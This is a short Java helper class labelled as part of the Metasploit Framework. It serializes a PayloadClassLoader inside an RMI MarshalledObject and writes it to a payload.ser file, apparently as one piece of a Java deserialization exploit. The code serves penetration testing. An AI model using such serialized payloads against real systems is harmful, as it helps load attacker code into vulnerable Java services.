rapid7/metasploit-framework

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.rmi.MarshalledObject;

/**
 * This class is a helper class for creating the serialized MarshalledObject,
 * containing also a serialized PayloadClassloader. Path to the payload.ser file
 * needs to be adjusted.
 * 
 * @author mka
 * 
 */
public class PayloadCreater {

    public static void main(String[] args) {

        PayloadCreater creater = new PayloadCreater();
        try {
            creater.getPayload();
        } catch (IOException e) {

            e.printStackTrace();
        }
    }

    private void getPayload() throws IOException {
        
        PayloadClassLoader loader = new PayloadClassLoader();
        MarshalledObject<PayloadClassLoader> object = new MarshalledObject<PayloadClassLoader>(
                loader);

        FileOutputStream stream = new FileOutputStream("./src/payload.ser");
        ObjectOutputStream ostream = new ObjectOutputStream(stream);
        ostream.writeObject(object);
        stream.close();
    }

}